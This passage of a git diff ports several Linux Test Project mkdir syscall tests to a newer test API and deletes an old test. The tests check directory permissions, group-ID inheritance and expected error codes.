-		if (TEST_RETURN == -1) {
-			if (TEST_ERRNO == EFAULT) {
-				tst_resm(TPASS,
-					 "mkdir - path argument pointing above allocated address space failed as expected with errno %d : %s",
-					 TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TFAIL,
-					 "mkdir - path argument pointing above allocated address space failed with errno %d : %s but expected %d (EFAULT)",
-					 TEST_ERRNO,
-					 strerror(TEST_ERRNO), EFAULT);
-			}
-		} else {
-			tst_resm(TFAIL,
-				 "mkdir - path argument pointing above allocated address space succeeded unexpectedly.");
-
-		}
-#endif /* if !defined(UCLINUX) */
-
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-/***************************************************************
- * setup() - performs all ONE TIME setup for this test.
- ***************************************************************/
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
-	bad_addr = mmap(0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED) {
-		tst_brkm(TBROK, cleanup, "mmap failed");
-	}
-}
-
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
-{
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-
-	/*
-	 * Exit with return code appropriate for results.
-	 */
-
-}
diff --git a/testcases/kernel/syscalls/mkdir/mkdir02.c b/testcases/kernel/syscalls/mkdir/mkdir02.c
index 87d1345..000cded 100644
--- a/testcases/kernel/syscalls/mkdir/mkdir02.c
+++ b/testcases/kernel/syscalls/mkdir/mkdir02.c
@@ -1,345 +1,111 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ *  the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
-/*
- * NAME
- *	mkdir02
- *
- * DESCRIPTION
- *	This test will verify that new directory created
- *	by mkdir(2) inherites the group ID from the parent
- *      directory and S_ISGID bit, if the S_ISGID bit is set
- *	in the parent directory.
- *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Pause for SIGUSR1 if option specified.
- *		Create temporary directory.
- *              Give write permission on temporary directory for all users.
- *              set up umask
- *
- *	Test:
- *		Loop if the proper options are given.
- *              fork the first child as ltpuser1
- *                  create a directory tstdir1 with S_ISGID set
- *              fork the second child as ltpuser2
- *                  create a directtory tstdir2 user tstdir1
- *                  check tstdir2's group ID and the S_ISGID bit
- *                  if they are the same as tstdir1's
- *                       PASS
- *                  else FAIL
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.*
- * USAGE
- *	mkdir02 [-c n] [-e] [-f] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-f   : Turn off functionality Testing.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None.
+/*  DESCRIPTION
+ *  This test will verify that new directory created by mkdir(2) inherites
+ *  the group ID from the parent directory and S_ISGID bit, if the S_ISGID
+ *  bit is set in the parent directory.
  */
 
 #include <errno.h>
-#include <string.h>
-#include <signal.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <fcntl.h>
 #include <pwd.h>
 #include <sys/wait.h>
 #include <unistd.h>
+#include <stdlib.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
-
-void setup();
-void cleanup();
-
-#define PERMS		0777
+#define TESTDIR1	"testdir1"
+#define TESTDIR2	"testdir1/testdir2"
 
 static uid_t nobody_uid, bin_uid;
 static gid_t nobody_gid, bin_gid;
 
-char *TCID = "mkdir02";
-int TST_TOTAL = 1;
-
-char tstdir1[100];
-char tstdir2[100];
-
-int main(int ac, char **av)
+static void verify_mkdir(void)
 {
-	int lc;
-	struct stat buf, buf1;
-	pid_t pid, pid1;
-	int rval, status;
+	struct stat buf1, buf2;
+	pid_t pid;
+	int fail = 0;
 
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		SAFE_SETREGID(bin_gid, bin_gid);
+		SAFE_SETREUID(bin_uid, bin_uid);
+		SAFE_MKDIR(TESTDIR2, 0777);
 
-	/*
-	 * perform global setup for test
-	 */
-	setup();
+		SAFE_STAT(TESTDIR2, &buf2);
+		SAFE_STAT(TESTDIR1, &buf1);
 
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* check the inherited group ID */
-
-		/*
-		 * first, fork the first child, set to ltpuser1's uid and gid,
-		 * create a directory, with S_ISGID bit set
-		 */
-
-		sprintf(tstdir1, "tstdir1.%d", getpid());
-
-		if ((pid = FORK_OR_VFORK()) < 0) {
-			tst_brkm(TFAIL, cleanup, "fork() failed");
-
+		if (buf2.st_gid != buf1.st_gid) {
+			tst_res(TFAIL,
+				"New dir FAILED to inherit GID have %d expected %d",
+				buf2.st_gid, buf1.st_gid);
+			fail = 1;
 		}
 
-		if (pid == 0) {	/* first child */
-			rval = setregid(nobody_gid, nobody_gid);
-			if (rval < 0) {
-				perror("setregid");
-				tst_resm(TFAIL, "setregid failed to "
-					 "to set the real gid to %d and "
-					 "effective gid to %d",
-					 nobody_gid, nobody_gid);
-				exit(1);
-
-			}
-			/* being ltupuser1 */
-			rval = setreuid(nobody_uid, nobody_uid);
-			if (rval < 0) {
-				perror("setreuid");
-				tst_resm(TFAIL, "setreuid failed to "
-					 "to set the real uid to %d and "
-					 "effective uid to %d",
-					 nobody_uid, nobody_uid);
-				exit(1);
-
-			}
-
-			/*
-			 * create a direcoty with S_ISGID bit set
-			 * and the group ID is ltpuser1
-			 */
-			if (mkdir(tstdir1, PERMS) != 0) {
-				perror("mkdir");
-				tst_resm(TFAIL, "mkdir() failed to create"
-					 " a directory with Set "
-					 " group ID turn on ");
-				exit(1);
-
-			}
-			if (stat(tstdir1, &buf1) == -1) {
-				perror("stat");
-				tst_resm(TFAIL,
-					 "failed to stat the new directory"
-					 "in mkdir()");
-				exit(1);
-
-			}
-			if (chmod(tstdir1, buf1.st_mode | S_ISGID) != 0) {
-				perror("chmod");
-				tst_resm(TFAIL, "failed to set S_ISGID bit");
-				exit(1);
-
-			}
-
-			/* Successfully create the parent directory */
-			exit(0);
-
-		}
-		wait(&status);
-		if (WEXITSTATUS(status) != 0) {
-			tst_brkm(TFAIL, cleanup,
-				 "Test to attempt to make a directory"
-				 " inherits group ID FAILED ");
-		}
-		/*
-		 * fork the second child process, set to ltpuser2's uid and gid
-		 * create a sub directory under the directory
-		 * just created by child process 1
-		 * check the group ID of the sub directory
-		 * should inherit from parent directory
-		 */
-
-		sprintf(tstdir2, "%s/tstdir2.%d", tstdir1, getpid());
-		if ((pid1 = FORK_OR_VFORK()) < 0) {
-			perror("fork failed");
-			tst_brkm(TFAIL, cleanup, "fork() failed");
-
-		} else if (pid1 == 0) {	/* second child */
-
-			/* being user ltpuser2 */
-			rval = setregid(bin_gid, bin_gid);
-			if (rval < 0) {
-				tst_resm(TFAIL, "setregid failed to "
-					 "to set the real gid to %d and "
-					 "effective gid to %d",
-					 bin_gid, bin_gid);
-				perror("setregid");
-				exit(1);
-
-			}
-			rval = setreuid(bin_uid, bin_uid);
-			if (rval < 0) {
-				tst_resm(TFAIL, "setreuid failed to "
-					 "to set the real uid to %d and "
-					 "effective uid to %d",
-					 bin_uid, bin_uid);
-				perror("setreuid");
-				exit(1);
-
-			}
-
-			/*
-			 * create a sub direcoty
-			 * under the directory just created
-			 * by ltpuser1
-			 */
-			if (mkdir(tstdir2, PERMS) != 0) {
-				tst_resm(TFAIL, "mkdir() failed to create"
-					 " a directory %s under %s ", tstdir2,
-					 tstdir1);
-				exit(1);
-
-			}
-			/*
-			 * check the group ID
-			 * should not be the same as the current processs's
-			 * since parent directory is set with S_ISGID bit
-			 */
-			if (stat(tstdir2, &buf) == -1) {
-				tst_resm(TFAIL,
-					 "failed to stat the new directory"
-					 "in mkdir()");
-				exit(1);
-
-			}
-			if (stat(tstdir1, &buf1) == -1) {
-				tst_resm(TFAIL,
-					 "failed to stat the new directory"
-					 "in mkdir()");
-				exit(1);
-
-			}
-			if (buf.st_gid != buf1.st_gid) {
-				tst_resm(TFAIL, "mkdir() FAILED to inherit "
-					 " the group ID %d from parent "
-					 " directory %d",
-					 buf.st_gid, buf1.st_gid);
-				exit(1);
-
-			}
-
-			/* check the S_ISGID  bit */
-			if (!(buf.st_mode & S_ISGID)) {
-				tst_resm(TFAIL, "mkdir() FAILED to inherit "
-					 " the S_ISGID bit from parent "
-					 " directory");
-				exit(1);
-
-			}
-			/* PASS */
-			exit(0);
-
+		if (!(buf2.st_mode & S_ISGID)) {
+			tst_res(TFAIL, "New dir FAILED to inherit S_ISGID");
+			fail = 1;
 		}
 
-		waitpid(pid1, &status, 0);
-		if (WEXITSTATUS(status) == 0) {
-			tst_resm(TPASS, "Test to attempt to make a directory"
-				 " inherits group ID SUCCEEDED ");
-		} else {
-			tst_resm(TFAIL, "Test to attempt to make a directory"
-				 " inherits group ID FAILED");
-			cleanup();
-		}
+		if (!fail)
+			tst_res(TPASS, "New dir inherited GID and S_ISGID");
 
+		exit(0);
 	}
 
-	/*
-	 * cleanup and exit
-	 */
-	cleanup();
-
-	tst_exit();
+	tst_reap_children();
+	SAFE_RMDIR(TESTDIR2);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+
+static void setup(void)
 {
 	struct passwd *pw;
+	struct stat buf;
+	pid_t pid;
 
-	tst_require_root();
-
-	pw = SAFE_GETPWNAM(NULL, "nobody");
+	pw = SAFE_GETPWNAM("nobody");
 	nobody_uid = pw->pw_uid;
 	nobody_gid = pw->pw_gid;
-	pw = SAFE_GETPWNAM(NULL, "bin");
+	pw = SAFE_GETPWNAM("bin");
 	bin_uid = pw->pw_uid;
 	bin_gid = pw->pw_gid;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
 	umask(0);
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		SAFE_SETREGID(nobody_gid, nobody_gid);
+		SAFE_SETREUID(nobody_uid, nobody_uid);
+		SAFE_MKDIR(TESTDIR1, 0777);
+		SAFE_STAT(TESTDIR1, &buf);
+		SAFE_CHMOD(TESTDIR1, buf.st_mode | S_ISGID);
+		exit(0);
+	}
+
+	tst_reap_children();
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-
-	/*
-	 * Exit with return code appropriate for results.
-	 */
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.test_all = verify_mkdir,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/mkdir/mkdir03.c b/testcases/kernel/syscalls/mkdir/mkdir03.c
index 5d7f1e1..8cadf9c 100644
--- a/testcases/kernel/syscalls/mkdir/mkdir03.c
+++ b/testcases/kernel/syscalls/mkdir/mkdir03.c
@@ -46,20 +46,18 @@
 static char loop_dir[PATH_MAX] = ".";
 
 struct tcase;
-static void prot_none_pathname(struct tcase *tc);
 
 static struct tcase {
 	char *pathname;
 	int exp_errno;
-	void (*setupfunc)(struct tcase *tc);
 } TC[] = {
-	{NULL, EFAULT, prot_none_pathname},
-	{long_dir, ENAMETOOLONG, NULL},
-	{TST_EEXIST, EEXIST, NULL},
-	{TST_ENOENT, ENOENT, NULL},
-	{TST_ENOTDIR_DIR, ENOTDIR, NULL},
-	{loop_dir, ELOOP, NULL},
-	{TST_EROFS, EROFS, NULL},
+	{NULL, EFAULT},
+	{long_dir, ENAMETOOLONG},
+	{TST_EEXIST, EEXIST},
+	{TST_ENOENT, ENOENT},
+	{TST_ENOTDIR_DIR, ENOTDIR},
+	{loop_dir, ELOOP},
+	{TST_EROFS, EROFS},
 };
 
 static void verify_mkdir(unsigned int n)
@@ -67,13 +65,13 @@
 	struct tcase *tc = TC + n;
 
 	TEST(mkdir(tc->pathname, MODE));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "mkdir() returned %ld, expected -1, errno=%d",
-			TEST_RETURN, tc->exp_errno);
+			TST_RET, tc->exp_errno);
 		return;
 	}
 
-	if (TEST_ERRNO == tc->exp_errno) {
+	if (TST_ERR == tc->exp_errno) {
 		tst_res(TPASS | TTERRNO, "mkdir() failed as expected");
 	} else {
 		tst_res(TFAIL | TTERRNO,
@@ -82,12 +80,6 @@
 	}
 }
 
-static void prot_none_pathname(struct tcase *tc)
-{
-	tc->pathname = SAFE_MMAP(0, 1, PROT_NONE,
-		MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
-}
-
 static void setup(void)
 {
 	unsigned int i;
@@ -95,15 +87,15 @@
 	SAFE_TOUCH(TST_EEXIST, MODE, NULL);
 	SAFE_TOUCH(TST_ENOTDIR_FILE, MODE, NULL);
 
+	for (i = 0; i < ARRAY_SIZE(TC); i++) {
+		if (TC[i].exp_errno == EFAULT)
+			TC[i].pathname = tst_get_bad_addr(NULL);
+	}
+
 	SAFE_MKDIR("test_eloop", DIR_MODE);
 	SAFE_SYMLINK("../test_eloop", "test_eloop/test_eloop");
 	for (i = 0; i < 43; i++)
 		strcat(loop_dir, "/test_eloop");
-
-	for (i = 0; i < ARRAY_SIZE(TC); i++) {
-		if (TC[i].setupfunc)
-			TC[i].setupfunc(&TC[i]);
-	}
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/mkdir/mkdir04.c b/testcases/kernel/syscalls/mkdir/mkdir04.c
index 3e0d199..5b65198 100644
--- a/testcases/kernel/syscalls/mkdir/mkdir04.c
+++ b/testcases/kernel/syscalls/mkdir/mkdir04.c
@@ -1,241 +1,80 @@
-/*
+/* Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
 /*
- * NAME
- *	mkdir04
- *
- * DESCRIPTION
- *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Pause for SIGUSR1 if option specified.
- *		Create temporary directory.
- *
- *	Test:
- *		Loop if the proper options are given.
- *              fork the first child
- *                      set to be ltpuser1
- *                      create a dirctory tstdir1 with 0700 permission
- *              fork the second child
- *                      set to ltpuser2
- *                      try to create a subdirectory tstdir2 under tstdir1
- *                      check the returnvalue, if succeeded (return=0)
- *			       Log the errno and Issue a FAIL message.
- *		        Otherwise,
- *			       Verify the errno
- *			       if equals to EACCES,
- *				       Issue Pass message.
- *			       Otherwise,
- *				       Issue Fail message.
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.
- * USAGE
- *	mkdir04 [-c n] [-e] [-f] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-f   : Turn off functionality Testing.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None.
- *
+ * Verify that user cannot create a directory inside directory owned by another
+ * user with restrictive permissions and that the errno is set to EACCESS.
  */
 
 #include <errno.h>
-#include <string.h>
-#include <signal.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <fcntl.h>
 #include <pwd.h>
 #include <sys/wait.h>
 #include <unistd.h>
+#include <stdlib.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
-
-void setup();
-void cleanup();
-int fail;
-
-#define PERMS		0700
+#define TESTDIR	 "testdir"
+#define TESTSUBDIR "testdir/testdir"
 
 static uid_t nobody_uid, bin_uid;
 
-char *TCID = "mkdir04";
-int TST_TOTAL = 1;
-int fail;
-
-char tstdir1[100];
-char tstdir2[100];
-
-int main(int ac, char **av)
+static void verify_mkdir(void)
 {
-	int lc;
-	int rval;
-	pid_t pid, pid1;
-	int status;
-
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* Initialize the test directories name */
-		sprintf(tstdir1, "tstdir1.%d", getpid());
-		if ((pid = FORK_OR_VFORK()) < 0) {
-			tst_brkm(TBROK, cleanup, "fork #1 failed");
-		}
-
-		if (pid == 0) {	/* first child */
-			rval = setreuid(nobody_uid, nobody_uid);
-			if (rval < 0) {
-				tst_resm(TFAIL | TERRNO, "setreuid failed to "
-					 "to set the real uid to %d and "
-					 "effective uid to %d",
-					 nobody_uid, nobody_uid);
-				exit(1);
-			}
-			/* create the parent directory with 0700 permits */
-			if (mkdir(tstdir1, PERMS) == -1) {
-				tst_resm(TFAIL | TERRNO,
-					 "mkdir(%s, %#o) Failed",
-					 tstdir1, PERMS);
-				exit(1);
-			}
-			/* create tstdir1 succeeded */
-			exit(0);
-		}
-		wait(&status);
-		if (WEXITSTATUS(status) != 0) {
-			tst_brkm(TFAIL, cleanup,
-				 "Test to check mkdir EACCES failed"
-				 "in create parent directory");
-		}
-
-		sprintf(tstdir2, "%s/tst", tstdir1);
-
-		if ((pid1 = FORK_OR_VFORK()) < 0) {
-			tst_brkm(TBROK, cleanup, "fork #2 failed");
-		}
-
-		if (pid1 == 0) {	/* second child */
-			rval = setreuid(bin_uid, bin_uid);
-			if (rval < 0) {
-				tst_resm(TFAIL | TERRNO, "setreuid failed to "
-					 "to set the real uid to %d and "
-					 "effective uid to %d",
-					 bin_uid, bin_uid);
-				exit(1);
-			}
-			if (mkdir(tstdir2, PERMS) != -1) {
-				tst_resm(TFAIL, "mkdir(%s, %#o) unexpected "
-					 "succeeded", tstdir2, PERMS);
-				exit(1);
-			}
-			if (errno != EACCES) {
-				tst_resm(TFAIL, "Expected EACCES got %d",
-					 errno);
-				exit(1);
-			}
-			/* PASS */
-			exit(0);
-		}
-		waitpid(pid1, &status, 0);
-		if (WEXITSTATUS(status) == 0) {
-			tst_resm(TPASS, "Test to attempt to creat a directory "
-				 "in a directory having no permissions "
-				 "SUCCEEDED in setting errno to EACCES");
-		} else {
-			tst_resm(TFAIL, "Test to attempt to creat a directory "
-				 "in a directory having no permissions FAILED");
-			cleanup();
-		}
+	if (mkdir(TESTSUBDIR, 0777) != -1) {
+		tst_res(TFAIL, "mkdir(%s, %#o) succeeded unexpectedly",
+			TESTSUBDIR, 0777);
+		return;
 	}
 
-	/*
-	 * cleanup and exit
-	 */
-	cleanup();
-	tst_exit();
+	if (errno != EACCES) {
+		tst_res(TFAIL | TERRNO, "Expected EACCES got");
+		return;
+	}
 
+	tst_res(TPASS | TERRNO, "mkdir() failed expectedly");
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
 	struct passwd *pw;
+	pid_t pid;
 
-	tst_require_root();
-
-	pw = SAFE_GETPWNAM(NULL, "nobody");
+	pw = SAFE_GETPWNAM("nobody");
 	nobody_uid = pw->pw_uid;
-	pw = SAFE_GETPWNAM(NULL, "bin");
+	pw = SAFE_GETPWNAM("bin");
 	bin_uid = pw->pw_uid;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		SAFE_SETREUID(nobody_uid, nobody_uid);
+		SAFE_MKDIR(TESTDIR, 0700);
+		exit(0);
+	}
 
-	TEST_PAUSE;
+	tst_reap_children();
 
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
-	umask(0);
+	SAFE_SETREUID(bin_uid, bin_uid);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-
-	/*
-	 * Exit with return code appropriate for results.
-	 */
-
-}
+static struct tst_test test = {
+	.test_all = verify_mkdir,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.setup = setup,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/mkdir/mkdir05.c b/testcases/kernel/syscalls/mkdir/mkdir05.c
index 3d25c43..bc029c3 100644
--- a/testcases/kernel/syscalls/mkdir/mkdir05.c
+++ b/testcases/kernel/syscalls/mkdir/mkdir05.c
@@ -1,6 +1,5 @@
-/*
- * Copyright (c) International Business Machines  Corp., 2001
- *  07/2001 Ported by Wayne Boyer
+/* Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
  *
  * This program is free software;  you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -13,137 +12,65 @@
  * the GNU General Public License for more details.
  *
  * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software Foundation,
- * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
-/*
- * DESCRIPTION
- *	This test will verify the mkdir(2) syscall basic functionality
+/* DESCRIPTION
+ * This test will verify the mkdir(2) creates a new directory successfully and
+ * it is owned by the effective UID and GID of the process.
  */
 
 #include <errno.h>
-#include <string.h>
-#include <signal.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <fcntl.h>
 #include <unistd.h>
 #include <pwd.h>
-#include "test.h"
-#include "safe_macros.h"
-
-void setup();
-void cleanup();
+#include "tst_test.h"
 
 #define PERMS		0777
+#define TESTDIR		"testdir"
 
-char *TCID = "mkdir05";
-int TST_TOTAL = 1;
-
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-char tstdir1[100];
-
-int main(int ac, char **av)
+static void verify_mkdir(void)
 {
-	int lc;
 	struct stat buf;
 
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * TEST mkdir() base functionality
-		 */
-
-		/* Initialize the test directory name */
-		sprintf(tstdir1, "tstdir1.%d", getpid());
-
-		/* Call mkdir(2) using the TEST macro */
-		TEST(mkdir(tstdir1, PERMS));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "mkdir(%s, %#o) Failed",
-				 tstdir1, PERMS);
-			continue;
-		}
-
-		SAFE_STAT(cleanup, tstdir1, &buf);
-		/* check the owner */
-		if (buf.st_uid != geteuid()) {
-			tst_resm(TFAIL, "mkdir() FAILED to set owner ID"
-				 " as process's effective ID");
-			continue;
-		}
-		/* check the group ID */
-		if (buf.st_gid != getegid()) {
-			tst_resm(TFAIL, "mkdir() failed to set group ID"
-				 " as the process's group ID");
-			continue;
-		}
-		tst_resm(TPASS, "mkdir() functionality is correct");
-
-		/* clean up things in case we are looping */
-		SAFE_RMDIR(cleanup, tstdir1);
-
+	TEST(mkdir(TESTDIR, PERMS));
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO, "mkdir() Failed");
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	SAFE_STAT(TESTDIR, &buf);
+
+	if (buf.st_uid != geteuid()) {
+		tst_res(TFAIL, "mkdir() FAILED to set owner ID "
+			"as process's effective ID");
+		return;
+	}
+
+	if (buf.st_gid != getegid()) {
+		tst_res(TFAIL, "mkdir() failed to set group ID "
+			"as the process's group ID");
+		return;
+	}
+
+	tst_res(TPASS, "mkdir() functionality is correct");
+
+	SAFE_RMDIR(TESTDIR);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
 void setup(void)
 {
-	tst_require_root();
+	struct passwd *pw;
 
-	ltpuser = getpwnam(nobody_uid);
-	if (setuid(ltpuser->pw_uid) == -1) {
-		tst_resm(TINFO, "setuid failed to "
-			 "to set the effective uid to %d", ltpuser->pw_uid);
-		perror("setuid");
-	}
+	pw = SAFE_GETPWNAM("nobody");
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
+	SAFE_SETUID(pw->pw_uid);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-
-	/*
-	 * Exit with return code appropriate for results.
-	 */
-
-}
+static struct tst_test test = {
+	.test_all = verify_mkdir,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/mkdir/mkdir08.c b/testcases/kernel/syscalls/mkdir/mkdir08.c
deleted file mode 100644
index ead218a..0000000
--- a/testcases/kernel/syscalls/mkdir/mkdir08.c
+++ /dev/null
@@ -1,196 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: mkdir08.c,v 1.6 2009/11/02 13:57:17 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: mkdir08
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for mkdir(2)
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1.) mkdir(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
